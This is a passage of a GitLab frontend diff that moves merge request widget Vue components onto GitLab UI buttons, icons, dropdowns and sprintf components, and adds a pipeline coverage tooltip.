-import { GlLink } from '@gitlab/ui';
-import FilteredSearchDropdown from '~/vue_shared/components/filtered_search_dropdown.vue';
+import { GlButtonGroup, GlDropdown, GlDropdownItem, GlLink, GlSearchBoxByType } from '@gitlab/ui';
+import autofocusonshow from '~/vue_shared/directives/autofocusonshow';
import ReviewAppLink from '../review_app_link.vue';
export default {
name: 'DeploymentViewButton',
components: {
- FilteredSearchDropdown,
+ GlButtonGroup,
+ GlDropdown,
+ GlDropdownItem,
GlLink,
+ GlSearchBoxByType,
ReviewAppLink,
VisualReviewAppLink: () =>
import('ee_component/vue_merge_request_widget/components/visual_review_app_link.vue'),
},
+ directives: {
+ autofocusonshow,
+ },
props: {
appButtonText: {
type: Object,
@@ -37,6 +43,9 @@ export default {
}),
},
},
+ data() {
+ return { searchTerm: '' };
+ },
computed: {
deploymentExternalUrl() {
if (this.deployment.changes && this.deployment.changes.length === 1) {
@@ -47,44 +56,52 @@ export default {
shouldRenderDropdown() {
return this.deployment.changes && this.deployment.changes.length > 1;
},
+ filteredChanges() {
+ return this.deployment?.changes?.filter(change => change.path.includes(this.searchTerm));
+ },
},
};
</script>
-
<template>
<span>
- <filtered-search-dropdown
- v-if="shouldRenderDropdown"
- class="js-mr-wigdet-deployment-dropdown inline"
- :items="deployment.changes"
- :main-action-link="deploymentExternalUrl"
- filter-key="path"
- >
- <template #mainAction="{ className }">
- <review-app-link
- :display="appButtonText"
- :link="deploymentExternalUrl"
- :css-class="`deploy-link js-deploy-url inline ${className}`"
+ <gl-button-group v-if="shouldRenderDropdown" size="small">
+ <review-app-link
+ :display="appButtonText"
+ :link="deploymentExternalUrl"
+ size="small"
+ css-class="deploy-link js-deploy-url inline"
+ />
+ <gl-dropdown size="small" class="js-mr-wigdet-deployment-dropdown">
+ <gl-search-box-by-type
+ v-model.trim="searchTerm"
+ v-autofocusonshow
+ autofocus
+ class="gl-m-3"
/>
- </template>
-
- <template #result="{ result }">
- <gl-link
- :href="result.external_url"
- target="_blank"
- rel="noopener noreferrer nofollow"
- class="js-deploy-url-menu-item menu-item"
+ <gl-dropdown-item
+ v-for="change in filteredChanges"
+ :key="change.path"
+ class="js-filtered-dropdown-result"
>
- <strong class="str-truncated-100 gl-mb-0 d-block">{{ result.path }}</strong>
-
- <p class="text-secondary str-truncated-100 gl-mb-0 d-block">{{ result.external_url }}</p>
- </gl-link>
- </template>
- </filtered-search-dropdown>
+ <gl-link
+ :href="change.external_url"
+ target="_blank"
+ rel="noopener noreferrer nofollow"
+ class="js-deploy-url-menu-item menu-item"
+ >
+ <strong class="str-truncated-100 gl-mb-0 gl-display-block">{{ change.path }}</strong>
+ <p class="text-secondary str-truncated-100 gl-mb-0 d-block">
+ {{ change.external_url }}
+ </p>
+ </gl-link>
+ </gl-dropdown-item>
+ </gl-dropdown>
+ </gl-button-group>
<review-app-link
v-else
:display="appButtonText"
:link="deploymentExternalUrl"
+ size="small"
css-class="js-deploy-url deploy-link btn btn-default btn-sm inline"
/>
<visual-review-app-link
diff --git a/app/assets/javascripts/vue_merge_request_widget/components/deployment/memory_usage.vue b/app/assets/javascripts/vue_merge_request_widget/components/deployment/memory_usage.vue
index fe41a15979e..9b2cd41092e 100644
--- a/app/assets/javascripts/vue_merge_request_widget/components/deployment/memory_usage.vue
+++ b/app/assets/javascripts/vue_merge_request_widget/components/deployment/memory_usage.vue
@@ -1,5 +1,6 @@
<script>
-import { sprintf, s__ } from '~/locale';
+import { GlLoadingIcon, GlSprintf, GlLink } from '@gitlab/ui';
+import { s__ } from '~/locale';
import statusCodes from '~/lib/utils/http_status';
import { bytesToMiB } from '~/lib/utils/number_utils';
import { backOff } from '~/lib/utils/common_utils';
@@ -10,6 +11,9 @@ export default {
name: 'MemoryUsage',
components: {
MemoryGraph,
+ GlLoadingIcon,
+ GlSprintf,
+ GlLink,
},
props: {
metricsUrl: {
@@ -47,45 +51,22 @@ export default {
return !this.loadingMetrics && !this.hasMetrics && !this.loadFailed;
},
memoryChangeMessage() {
- const messageProps = {
- memoryFrom: this.memoryFrom,
- memoryTo: this.memoryTo,
- metricsLinkStart: `<a href="${this.metricsMonitoringUrl}">`,
- metricsLinkEnd: '</a>',
- emphasisStart: '<b>',
- emphasisEnd: '</b>',
- };
const memoryTo = Number(this.memoryTo);
const memoryFrom = Number(this.memoryFrom);
- let memoryUsageMsg = '';
if (memoryTo > memoryFrom) {
- memoryUsageMsg = sprintf(
- s__(
- 'mrWidget|%{metricsLinkStart} Memory %{metricsLinkEnd} usage %{emphasisStart} increased %{emphasisEnd} from %{memoryFrom}MB to %{memoryTo}MB',
- ),
- messageProps,
- false,
+ return s__(
+ 'mrWidget|%{metricsLinkStart} Memory %{metricsLinkEnd} usage %{emphasisStart} increased %{emphasisEnd} from %{memoryFrom}MB to %{memoryTo}MB',
);
} else if (memoryTo < memoryFrom) {
- memoryUsageMsg = sprintf(
- s__(
- 'mrWidget|%{metricsLinkStart} Memory %{metricsLinkEnd} usage %{emphasisStart} decreased %{emphasisEnd} from %{memoryFrom}MB to %{memoryTo}MB',
- ),
- messageProps,
- false,
- );
- } else {
- memoryUsageMsg = sprintf(
- s__(
- 'mrWidget|%{metricsLinkStart} Memory %{metricsLinkEnd} usage is %{emphasisStart} unchanged %{emphasisEnd} at %{memoryFrom}MB',
- ),
- messageProps,
- false,
+ return s__(
+ 'mrWidget|%{metricsLinkStart} Memory %{metricsLinkEnd} usage %{emphasisStart} decreased %{emphasisEnd} from %{memoryFrom}MB to %{memoryTo}MB',
);
}
- return memoryUsageMsg;
+ return s__(
+ 'mrWidget|%{metricsLinkStart} Memory %{metricsLinkEnd} usage is %{emphasisStart} unchanged %{emphasisEnd} at %{memoryFrom}MB',
+ );
},
},
mounted() {
@@ -155,14 +136,23 @@ export default {
<template>
<div class="mr-info-list clearfix mr-memory-usage js-mr-memory-usage">
<p v-if="shouldShowLoading" class="usage-info js-usage-info usage-info-loading">
- <i class="fa fa-spinner fa-spin usage-info-load-spinner" aria-hidden="true"> </i
- >{{ s__('mrWidget|Loading deployment statistics') }}
+ <gl-loading-icon class="usage-info-load-spinner" />{{
+ s__('mrWidget|Loading deployment statistics')
+ }}
+ </p>
+ <p v-if="shouldShowMemoryGraph" class="usage-info js-usage-info">
+ <gl-sprintf :message="memoryChangeMessage">
+ <template #metricsLink="{ content }">
+ <gl-link :href="metricsMonitoringUrl">{{ content }}</gl-link>
+ </template>
+ <template #emphasis="{content}">
+ <strong>{{ content }}</strong>
+ </template>
+ <template #memoryFrom>{{ memoryFrom }}</template>
+ <template #memoryTo>{{ memoryTo }}</template>
+ </gl-sprintf>
</p>
- <p
- v-if="shouldShowMemoryGraph"
- class="usage-info js-usage-info"
- v-html="memoryChangeMessage"
- ></p>
+
<p v-if="shouldShowLoadFailure" class="usage-info js-usage-info usage-info-failed">
{{ s__('mrWidget|Failed to load deployment statistics') }}
</p>
diff --git a/app/assets/javascripts/vue_merge_request_widget/components/mr_collapsible_extension.vue b/app/assets/javascripts/vue_merge_request_widget/components/mr_collapsible_extension.vue
index 24174c29d51..b6b5b56e5aa 100644
--- a/app/assets/javascripts/vue_merge_request_widget/components/mr_collapsible_extension.vue
+++ b/app/assets/javascripts/vue_merge_request_widget/components/mr_collapsible_extension.vue
@@ -1,13 +1,12 @@
<script>
-import { GlButton, GlLoadingIcon } from '@gitlab/ui';
+import { GlButton, GlLoadingIcon, GlIcon } from '@gitlab/ui';
import { __ } from '~/locale';
-import Icon from '~/vue_shared/components/icon.vue';
export default {
components: {
GlButton,
GlLoadingIcon,
- Icon,
+ GlIcon,
},
props: {
title: {
@@ -66,7 +65,7 @@ export default {
@click="toggleCollapsed"
>
<gl-loading-icon v-if="isLoading" />
- <icon v-else :name="arrowIconName" class="js-icon" />
+ <gl-icon v-else :name="arrowIconName" class="js-icon" />
</button>
<gl-button
variant="link"
diff --git a/app/assets/javascripts/vue_merge_request_widget/components/mr_widget_alert_message.vue b/app/assets/javascripts/vue_merge_request_widget/components/mr_widget_alert_message.vue
index 19a222462b3..a2636ce52ad 100644
--- a/app/assets/javascripts/vue_merge_request_widget/components/mr_widget_alert_message.vue
+++ b/app/assets/javascripts/vue_merge_request_widget/components/mr_widget_alert_message.vue
@@ -1,13 +1,12 @@
<script>
-import { GlLink } from '@gitlab/ui';
-import Icon from '~/vue_shared/components/icon.vue';
+import { GlLink, GlIcon } from '@gitlab/ui';
import { WARNING, DANGER, WARNING_MESSAGE_CLASS, DANGER_MESSAGE_CLASS } from '../constants';
export default {
name: 'MrWidgetAlertMessage',
components: {
GlLink,
- Icon,
+ GlIcon,
},
props: {
type: {
@@ -40,7 +39,7 @@ export default {
<div class="m-3 ml-7" :class="messageClass">
<slot></slot>
<gl-link v-if="helpPath" :href="helpPath" target="_blank">
- <icon :size="16" name="question-o" class="align-middle" />
+ <gl-icon :size="16" name="question-o" class="align-middle" />
</gl-link>
</div>
</template>
diff --git a/app/assets/javascripts/vue_merge_request_widget/components/mr_widget_header.vue b/app/assets/javascripts/vue_merge_request_widget/components/mr_widget_header.vue
index 897f706290d..814d4e8341e 100644
--- a/app/assets/javascripts/vue_merge_request_widget/components/mr_widget_header.vue
+++ b/app/assets/javascripts/vue_merge_request_widget/components/mr_widget_header.vue
@@ -1,24 +1,33 @@
<script>
+/* eslint-disable vue/no-v-html */
import Mousetrap from 'mousetrap';
import { escape } from 'lodash';
+import {
+ GlButton,
+ GlDropdown,
+ GlDropdownSectionHeader,
+ GlDropdownItem,
+ GlTooltipDirective,
+} from '@gitlab/ui';
import { n__, s__, sprintf } from '~/locale';
import { mergeUrlParams, webIDEUrl } from '~/lib/utils/url_utility';
-import Icon from '~/vue_shared/components/icon.vue';
import clipboardButton from '~/vue_shared/components/clipboard_button.vue';
-import tooltip from '~/vue_shared/directives/tooltip';
import TooltipOnTruncate from '~/vue_shared/components/tooltip_on_truncate.vue';
import MrWidgetIcon from './mr_widget_icon.vue';
export default {
name: 'MRWidgetHeader',
components: {
- Icon,
clipboardButton,
TooltipOnTruncate,
MrWidgetIcon,
+ GlButton,
+ GlDropdown,
+ GlDropdownSectionHeader,
+ GlDropdownItem,
},
directives: {
- tooltip,
+ GlTooltip: GlTooltipDirective,
},
props: {
mr: {
@@ -124,62 +133,59 @@ export default {
<div class="branch-actions d-flex">
<template v-if="mr.isOpen">
- <a
+ <span
v-if="!mr.sourceBranchRemoved"
- v-tooltip
- :href="webIdePath"
+ v-gl-tooltip
:title="ideButtonTitle"
- :class="{ disabled: !mr.canPushToSourceBranch }"
- class="btn btn-default js-web-ide d-none d-md-inline-block gl-mr-3"
- data-placement="bottom"
- tabindex="0"
- role="button"
- data-qa-selector="open_in_web_ide_button"
+ class="gl-display-none d-md-inline-block gl-mr-3"
+ :tabindex="!mr.canPushToSourceBranch ? 0 : null"
>
- {{ s__('mrWidget|Open in Web IDE') }}
- </a>
- <button
+ <gl-button
+ :href="webIdePath"
+ :disabled="!mr.canPushToSourceBranch"
+ class="js-web-ide"
+ tabindex="0"
+ role="button"
+ data-qa-selector="open_in_web_ide_button"
+ >
+ {{ s__('mrWidget|Open in Web IDE') }}
+ </gl-button>
+ </span>
+ <gl-button
:disabled="mr.sourceBranchRemoved"
data-target="#modal_merge_info"
data-toggle="modal"
- class="btn btn-default js-check-out-branch gl-mr-3"
- type="button"
+ class="js-check-out-branch gl-mr-3"
>
{{ s__('mrWidget|Check out branch') }}
- </button>
+ </gl-button>
</template>
- <span class="dropdown">
- <button
- type="button"
- class="btn dropdown-toggle qa-dropdown-toggle"
- data-toggle="dropdown"
- :aria-label="__('Download as')"
- aria-haspopup="true"
- aria-expanded="false"
+ <gl-dropdown
+ v-gl-tooltip
+ :title="__('Download as')"
+ :aria-label="__('Download as')"
+ icon="download"
+ right
+ data-qa-selector="download_dropdown"
+ >
+ <gl-dropdown-section-header>{{ s__('Download as') }}</gl-dropdown-section-header>
+ <gl-dropdown-item
+ :href="mr.emailPatchesPath"
+ class="js-download-email-patches"
+ download
+ data-qa-selector="download_email_patches"
>
- <icon name="download" /> <i class="fa fa-caret-down" aria-hidden="true"> </i>
- </button>
- <ul class="dropdown-menu dropdown-menu-right">
- <li>
- <a
- :href="mr.emailPatchesPath"
- class="js-download-email-patches qa-download-email-patches"
- download
- >
- {{ s__('mrWidget|Email patches') }}
- </a>
- </li>
- <li>
- <a
- :href="mr.plainDiffPath"
- class="js-download-plain-diff qa-download-plain-diff"
- download
- >
- {{ s__('mrWidget|Plain diff') }}
- </a>
- </li>
- </ul>
- </span>
+ {{ s__('mrWidget|Email patches') }}
+ </gl-dropdown-item>
+ <gl-dropdown-item
+ :href="mr.plainDiffPath"
+ class="js-download-plain-diff"
+ download
+ data-qa-selector="download_plain_diff"
+ >
+ {{ s__('mrWidget|Plain diff') }}
+ </gl-dropdown-item>
+ </gl-dropdown>
</div>
</div>
</div>
diff --git a/app/assets/javascripts/vue_merge_request_widget/components/mr_widget_icon.vue b/app/assets/javascripts/vue_merge_request_widget/components/mr_widget_icon.vue
index e1659d9a167..472df8e3110 100644
--- a/app/assets/javascripts/vue_merge_request_widget/components/mr_widget_icon.vue
+++ b/app/assets/javascripts/vue_merge_request_widget/components/mr_widget_icon.vue
@@ -1,8 +1,8 @@
<script>
-import Icon from '~/vue_shared/components/icon.vue';
+import { GlIcon } from '@gitlab/ui';
export default {
- components: { Icon },
+ components: { GlIcon },
props: {
name: {
type: String,
@@ -14,6 +14,6 @@ export default {
<template>
<div class="circle-icon-container gl-mr-3 align-self-start align-self-lg-center">
- <icon :name="name" :size="24" />
+ <gl-icon :name="name" :size="24" />
</div>
</template>
diff --git a/app/assets/javascripts/vue_merge_request_widget/components/mr_widget_pipeline.vue b/app/assets/javascripts/vue_merge_request_widget/components/mr_widget_pipeline.vue
index 7326bd0804d..5066a88b52b 100644
--- a/app/assets/javascripts/vue_merge_request_widget/components/mr_widget_pipeline.vue
+++ b/app/assets/javascripts/vue_merge_request_widget/components/mr_widget_pipeline.vue
@@ -1,8 +1,15 @@
<script>
-/* eslint-disable vue/require-default-prop */
-import { GlIcon, GlLink, GlLoadingIcon, GlSprintf, GlTooltipDirective } from '@gitlab/ui';
+/* eslint-disable vue/require-default-prop, vue/no-v-html */
+import {
+ GlIcon,
+ GlLink,
+ GlLoadingIcon,
+ GlSprintf,
+ GlTooltip,
+ GlTooltipDirective,
+} from '@gitlab/ui';
import mrWidgetPipelineMixin from 'ee_else_ce/vue_merge_request_widget/mixins/mr_widget_pipeline';
-import { s__ } from '~/locale';
+import { s__, n__ } from '~/locale';
import PipelineStage from '~/pipelines/components/pipelines_list/stage.vue';
import CiIcon from '~/vue_shared/components/ci_icon.vue';
import TooltipOnTruncate from '~/vue_shared/components/tooltip_on_truncate.vue';
@@ -15,6 +22,7 @@ export default {
GlLoadingIcon,
GlIcon,
GlSprintf,
+ GlTooltip,
PipelineStage,
TooltipOnTruncate,
LinkedPipelinesMiniList: () =>
@@ -33,6 +41,11 @@ export default {
type: String,
required: false,
},
+ buildsWithCoverage: {
+ type: Array,
+ required: false,
+ default: () => [],
+ },
// This prop needs to be camelCase, html attributes are case insensive
// https://vuejs.org/v2/guide/components.html#camelCase-vs-kebab-case
hasCi: {
@@ -100,6 +113,16 @@ export default {
}
return '';
},
+ pipelineCoverageJobNumberText() {
+ return n__('from %d job', 'from %d jobs', this.buildsWithCoverage.length);
+ },
+ pipelineCoverageTooltipDescription() {
+ return n__(
+ 'Coverage value for this pipeline was calculated by the coverage value of %d job.',
+ 'Coverage value for this pipeline was calculated by averaging the resulting coverage values of %d jobs.',
+ this.buildsWithCoverage.length,
+ );
+ },
},
errorText: s__(
'Pipeline|Could not retrieve the pipeline status. For troubleshooting steps, read the %{linkStart}documentation%{linkEnd}.',
@@ -139,7 +162,7 @@ export default {
>
<gl-icon
name="question"
- :small="12"
+ :size="12"
tabindex="0"
role="text"
:aria-label="__('Link to go to GitLab pipeline documentation')"
@@ -189,14 +212,30 @@ export default {
</div>
<div v-if="pipeline.coverage" class="coverage" data-testid="pipeline-coverage">
{{ s__('Pipeline|Coverage') }} {{ pipeline.coverage }}%
-
<span
v-if="pipelineCoverageDelta"
:class="coverageDeltaClass"
data-testid="pipeline-coverage-delta"
+ >({{ pipelineCoverageDelta }}%)</span
>
- ({{ pipelineCoverageDelta }}%)
+
+ {{ pipelineCoverageJobNumberText }}
+ <span ref="pipelineCoverageQuestion">
+ <gl-icon name="question" :size="12" />
</span>
+ <gl-tooltip
+ :target="() => $refs.pipelineCoverageQuestion"
+ data-testid="pipeline-coverage-tooltip"
+ >
+ {{ pipelineCoverageTooltipDescription }}
+ <div
+ v-for="(build, index) in buildsWithCoverage"
+ :key="`${build.name}-${index}`"
+ class="gl-mt-3 gl-text-left gl-px-4"
+ >
+ {{ build.name }} ({{ build.coverage }}%)
+ </div>
+ </gl-tooltip>
</div>
</div>
</div>
diff --git a/app/assets/javascripts/vue_merge_request_widget/components/mr_widget_pipeline_container.vue b/app/assets/javascripts/vue_merge_request_widget/components/mr_widget_pipeline_container.vue
index 5c307b5ff0c..55efd7e7d3b 100644
--- a/app/assets/javascripts/vue_merge_request_widget/components/mr_widget_pipeline_container.vue
+++ b/app/assets/javascripts/vue_merge_request_widget/components/mr_widget_pipeline_container.vue
@@ -77,6 +77,7 @@ export default {
<mr-widget-pipeline
:pipeline="pipeline"
:pipeline-coverage-delta="mr.pipelineCoverageDelta"
+ :builds-with-coverage="mr.buildsWithCoverage"
:ci-status="mr.ciStatus"
:has-ci="mr.hasCI"
:pipeline-must-succeed="mr.onlyAllowMergeIfPipelineSucceeds"
diff --git a/app/assets/javascripts/vue_merge_request_widget/components/mr_widget_related_links.vue b/app/assets/javascripts/vue_merge_request_widget/components/mr_widget_related_links.vue
index 1b3b589c32f..56a50b55f9d 100644
--- a/app/assets/javascripts/vue_merge_request_widget/components/mr_widget_related_links.vue
+++ b/app/assets/javascripts/vue_merge_request_widget/components/mr_widget_related_links.vue
@@ -1,4 +1,5 @@
<script>
+/* eslint-disable vue/no-v-html */
import { s__ } from '~/locale';
export default {
diff --git a/app/assets/javascripts/vue_merge_request_widget/components/mr_widget_suggest_pipeline.vue b/app/assets/javascripts/vue_merge_request_widget/components/mr_widget_suggest_pipeline.vue
index 936fdc9aff5..a9d148505e1 100644
--- a/app/assets/javascripts/vue_merge_request_widget/components/mr_widget_suggest_pipeline.vue
+++ b/app/assets/javascripts/vue_merge_request_widget/components/mr_widget_suggest_pipeline.vue
@@ -108,7 +108,9 @@ export default {
</div>
</template>
<div class="row">
- <div class="col-md-5 order-md-last col-12 gl-mt-5 mt-md-n1 pt-md-1 svg-content svg-225">
+ <div
+ class="col-md-5 order-md-last col-12 gl-mt-5 gl-mt-md-n2! gl-pt-md-2 svg-content svg-225"
+ >
<img data-testid="pipeline-image" :src="pipelineSvgPath" />
</div>
<div class="col-md-7 order-md-first col-12">
diff --git a/app/assets/javascripts/vue_merge_request_widget/components/review_app_link.vue b/app/assets/javascripts/vue_merge_request_widget/components/review_app_link.vue
index c38c41f13b6..ebd2b5cd22d 100644
--- a/app/assets/javascripts/vue_merge_request_widget/components/review_app_link.vue
+++ b/app/assets/javascripts/vue_merge_request_widget/components/review_app_link.vue
@@ -1,10 +1,10 @@
<script>
-import { GlTooltipDirective } from '@gitlab/ui';
-import Icon from '~/vue_shared/components/icon.vue';
+import { GlButton, GlTooltipDirective, GlIcon } from '@gitlab/ui';
export default {
components: {
- Icon,
+ GlButton,
+ GlIcon,
},
directives: {
GlTooltip: GlTooltipDirective,
@@ -22,20 +22,26 @@ export default {
type: String,
required: true,
},
+ size: {
+ type: String,
+ required: false,
+ default: 'medium',
+ },
},
};
</script>
<template>
- <a
+ <gl-button
v-gl-tooltip
:title="display.tooltip"
:href="link"
+ :size="size"
target="_blank"
rel="noopener noreferrer nofollow"
:class="cssClass"
data-track-event="open_review_app"
data-track-label="review_app"
>
- {{ display.text }} <icon class="fgray" name="external-link" />
- </a>
+ {{ display.text }} <gl-icon class="fgray" name="external-link" />
+ </gl-button>
</template>
diff --git a/app/assets/javascripts/vue_merge_request_widget/components/source_branch_removal_status.vue b/app/assets/javascripts/vue_merge_request_widget/components/source_branch_removal_status.vue
index dab0540f44e..859f2c57598 100644
--- a/app/assets/javascripts/vue_merge_request_widget/components/source_branch_removal_status.vue
+++ b/app/assets/javascripts/vue_merge_request_widget/components/source_branch_removal_status.vue
@@ -1,5 +1,5 @@
<script>
-import { GlSprintf } from '@gitlab/ui';
+import { GlIcon, GlSprintf } from '@gitlab/ui';
import tooltip from '../../vue_shared/directives/tooltip';
import { __ } from '../../locale';
@@ -9,6 +9,7 @@ export default {
tooltipTitle: __('A user with write access to the source branch selected this option'),
},
components: {
+ GlIcon,
GlSprintf,
},
directives: {
@@ -26,12 +27,11 @@ export default {
</template>
</gl-sprintf>
</span>
- <i
+ <gl-icon
v-tooltip
:title="$options.i18n.tooltipTitle"
:aria-label="$options.i18n.tooltipTitle"
- class="fa fa-question-circle"
- >
- </i>
+ name="question-o"
+ />
</p>
</template>
diff --git a/app/assets/javascripts/vue_merge_request_widget/components/states/commits_header.vue b/app/assets/javascripts/vue_merge_request_widget/components/states/commits_header.vue
index d52e6d38ac6..bdcea9871ea 100644
--- a/app/assets/javascripts/vue_merge_request_widget/components/states/commits_header.vue
+++ b/app/assets/javascripts/vue_merge_request_widget/components/states/commits_header.vue
@@ -1,13 +1,12 @@
<script>
-import { GlDeprecatedButton } from '@gitlab/ui';
+/* eslint-disable vue/no-v-html */
+import { GlButton } from '@gitlab/ui';
import { escape } from 'lodash';
import { __, n__, sprintf, s__ } from '~/locale';
-import Icon from '~/vue_shared/components/icon.vue';
export default {
components: {
- Icon,
- GlDeprecatedButton,
+ GlButton,
},
props: {
isSquashEnabled: {
@@ -80,20 +79,19 @@ export default {
class="js-mr-widget-commits-count mr-widget-extension clickable d-flex align-items-center px-3 py-2"
@click="toggle()"
>
- <gl-deprecated-button
+ <gl-button
:aria-label="ariaLabel"
- variant="blank"
- class="commit-edit-toggle square s24 gl-mr-3"
+ category="tertiary"
+ class="commit-edit-toggle gl-mr-3"
+ :icon="collapseIcon"
@click.stop="toggle()"
- >
- <icon :name="collapseIcon" :size="16" />
- </gl-deprecated-button>
+ />
<span v-if="expanded">{{ __('Collapse') }}</span>
<span v-else>
<span class="vertical-align-middle" v-html="message"></span>
- <gl-deprecated-button variant="link" class="modify-message-button">
+ <gl-button variant="link" class="modify-message-button">
{{ modifyLinkMessage }}
- </gl-deprecated-button>
+ </gl-button>
</span>
</div>
<div v-show="expanded"><slot></slot></div>
diff --git a/app/assets/javascripts/vue_merge_request_widget/components/states/mr_widget_failed_to_merge.vue b/app/assets/javascripts/vue_merge_request_widget/components/states/mr_widget_failed_to_merge.vue
index 9df0c045fe4..a5ec095b8ec 100644
--- a/app/assets/javascripts/vue_merge_request_widget/components/states/mr_widget_failed_to_merge.vue
+++ b/app/assets/javascripts/vue_merge_request_widget/components/states/mr_widget_failed_to_merge.vue
@@ -1,4 +1,5 @@
<script>
+import { GlButton } from '@gitlab/ui';
import { n__ } from '~/locale';
import { stripHtml } from '~/lib/utils/text_utility';
import statusIcon from '../mr_widget_status_icon.vue';
@@ -8,6 +9,7 @@ export default {
name: 'MRWidgetFailedToMerge',
components: {
+ GlButton,
statusIcon,
},
@@ -84,14 +86,14 @@ export default {
<span v-else> {{ s__('mrWidget|Merge failed.') }} </span>
<span :class="{ 'has-custom-error': mr.mergeError }"> {{ timerText }} </span>
</span>
- <button
- class="btn btn-default btn-sm js-refresh-button"
+ <gl-button
+ size="small"
+ data-testid="merge-request-failed-refresh-button"
data-qa-selector="merge_request_error_content"
- type="button"
@click="refresh"
>
{{ s__('mrWidget|Refresh now') }}
- </button>
+ </gl-button>
</div>
</template>
</div>
diff --git a/app/assets/javascripts/vue_merge_request_widget/components/states/mr_widget_merged.vue b/app/assets/javascripts/vue_merge_request_widget/components/states/mr_widget_merged.vue
index 166700dbcbf..58839251edc 100644
--- a/app/assets/javascripts/vue_merge_request_widget/components/states/mr_widget_merged.vue
+++ b/app/assets/javascripts/vue_merge_request_widget/components/states/mr_widget_merged.vue
@@ -1,6 +1,6 @@
<script>
/* eslint-disable @gitlab/vue-require-i18n-strings */
-import { GlLoadingIcon } from '@gitlab/ui';
+import { GlLoadingIcon, GlButton } from '@gitlab/ui';
import { deprecatedCreateFlash as Flash } from '~/flash';
import tooltip from '~/vue_shared/directives/tooltip';
import { s__, __ } from '~/locale';
@@ -19,6 +19,7 @@ export default {
statusIcon,
ClipboardButton,
GlLoadingIcon,
+ GlButton,
},
props: {
mr: {
@@ -112,48 +113,52 @@ export default {
:date-title="mr.metrics.mergedAt"
:date-readable="mr.metrics.readableMergedAt"
/>
- <a
+ <gl-button
v-if="mr.canRevertInCurrentMR"
v-tooltip
:title="revertTitle"
- class="btn btn-close btn-sm"
+ size="small"
+ category="secondary"
+ variant="warning"
href="#modal-revert-commit"
data-toggle="modal"
data-container="body"
>
{{ revertLabel }}
- </a>
- <a
+ </gl-button>
+ <gl-button
v-else-if="mr.revertInForkPath"
v-tooltip
:href="mr.revertInForkPath"
:title="revertTitle"
- class="btn btn-close btn-sm"
+ size="small"
+ category="secondary"
+ variant="warning"
data-method="post"
>
{{ revertLabel }}
- </a>
- <a
+ </gl-button>
+ <gl-button
v-if="mr.canCherryPickInCurrentMR"
v-tooltip
:title="cherryPickTitle"
- class="btn btn-default btn-sm"
+ size="small"
href="#modal-cherry-pick-commit"
data-toggle="modal"
data-container="body"
>
{{ cherryPickLabel }}
- </a>
- <a
+ </gl-button>
+ <gl-button
v-else-if="mr.cherryPickInForkPath"
v-tooltip
:href="mr.cherryPickInForkPath"
:title="cherryPickTitle"
- class="btn btn-default btn-sm"
+ size="small"
data-method="post"
>
{{ cherryPickLabel }}
- </a>
+ </gl-button>
</div>
<section class="mr-info-list" data-qa-selector="merged_status_content">
<p>
@@ -181,14 +186,14 @@ export default {
</p>
<p v-if="shouldShowRemoveSourceBranch" class="space-children">
<span>{{ s__('mrWidget|You can delete the source branch now') }}</span>
- <button
+ <gl-button
:disabled="isMakingRequest"
- type="button"
- class="btn btn-sm btn-default js-remove-branch-button"
+ size="small"
+ class="js-remove-branch-button"
@click="removeSourceBranch"
>
{{ s__('mrWidget|Delete source branch') }}
- </button>
+ </gl-button>
</p>
<p v-if="shouldShowSourceBranchRemoving">
<gl-loading-icon :inline="true" />
diff --git a/app/assets/javascripts/vue_merge_request_widget/components/states/mr_widget_missing_branch.vue b/app/assets/javascripts/vue_merge_request_widget/components/states/mr_widget_missing_branch.vue
index 8f38ca69453..83783528cc1 100644
--- a/app/assets/javascripts/vue_merge_request_widget/components/states/mr_widget_missing_branch.vue
+++ b/app/assets/javascripts/vue_merge_request_widget/components/states/mr_widget_missing_branch.vue
@@ -1,4 +1,5 @@
<script>
+import { GlIcon } from '@gitlab/ui';
import { sprintf, s__ } from '~/locale';
import tooltip from '~/vue_shared/directives/tooltip';
import statusIcon from '../mr_widget_status_icon.vue';
@@ -9,6 +10,7 @@ export default {
tooltip,
},
components: {
+ GlIcon,
statusIcon,
},
props: {
@@ -50,7 +52,7 @@ export default {
<span class="bold js-branch-text">
<span class="capitalize"> {{ missingBranchName }} </span>
{{ s__('mrWidget|branch does not exist.') }} {{ missingBranchNameMessage }}
- <i v-tooltip :title="message" :aria-label="message" class="fa fa-question-circle"> </i>
+ <gl-icon v-tooltip :title="message" :aria-label="message" name="question-o" />
</span>
</div>
</div>
diff --git a/app/assets/javascripts/vue_merge_request_widget/components/states/mr_widget_rebase.vue b/app/assets/javascripts/vue_merge_request_widget/components/states/mr_widget_rebase.vue
index 794c994bffe..ec0934c5b4b 100644
--- a/app/assets/javascripts/vue_merge_request_widget/components/states/mr_widget_rebase.vue
+++ b/app/assets/javascripts/vue_merge_request_widget/components/states/mr_widget_rebase.vue
@@ -1,4 +1,5 @@
<script>
+/* eslint-disable vue/no-v-html */
import { GlLoadingIcon } from '@gitlab/ui';
import { escape } from 'lodash';
import simplePoll from '../../../lib/utils/simple_poll';
diff --git a/app/assets/javascripts/vue_merge_request_widget/components/states/nothing_to_merge.vue b/app/assets/javascripts/vue_merge_request_widget/components/states/nothing_to_merge.vue
index 4d7d49398eb..14a29483d3c 100644
--- a/app/assets/javascripts/vue_merge_request_widget/components/states/nothing_to_merge.vue
+++ b/app/assets/javascripts/vue_merge_request_widget/components/states/nothing_to_merge.vue
@@ -1,4 +1,5 @@
<script>
+/* eslint-disable vue/no-v-html */
import emptyStateSVG from 'icons/_mr_widget_empty_state.svg';
export default {
diff --git a/app/assets/javascripts/vue_merge_request_widget/components/states/ready_to_merge.vue b/app/assets/javascripts/vue_merge_request_widget/components/states/ready_to_merge.vue
index 930a2b68d8e..240bab58297 100644
--- a/app/assets/javascripts/vue_merge_request_widget/components/states/ready_to_merge.vue
+++ b/app/assets/javascripts/vue_merge_request_widget/components/states/ready_to_merge.vue
@@ -1,6 +1,7 @@
<script>
+/* eslint-disable vue/no-v-html */
import { isEmpty } from 'lodash';
-import { GlIcon, GlDeprecatedButton, GlSprintf, GlLink } from '@gitlab/ui';
+import { GlIcon, GlButton, GlSprintf, GlLink } from '@gitlab/ui';
import successSvg from 'icons/_icon_status_success.svg';
import warningSvg from 'icons/_icon_status_warning.svg';
import readyToMergeMixin from 'ee_else_ce/vue_merge_request_widget/mixins/ready_to_merge';
@@ -37,7 +38,7 @@ export default {
GlIcon,
GlSprintf,
GlLink,
- GlDeprecatedButton,
+ GlButton,
MergeTrainHelperText: () =>
import('ee_component/vue_merge_request_widget/components/merge_train_helper_text.vue'),
MergeImmediatelyConfirmationDialog: () =>
@@ -297,16 +298,16 @@ export default {
<div class="media-body">
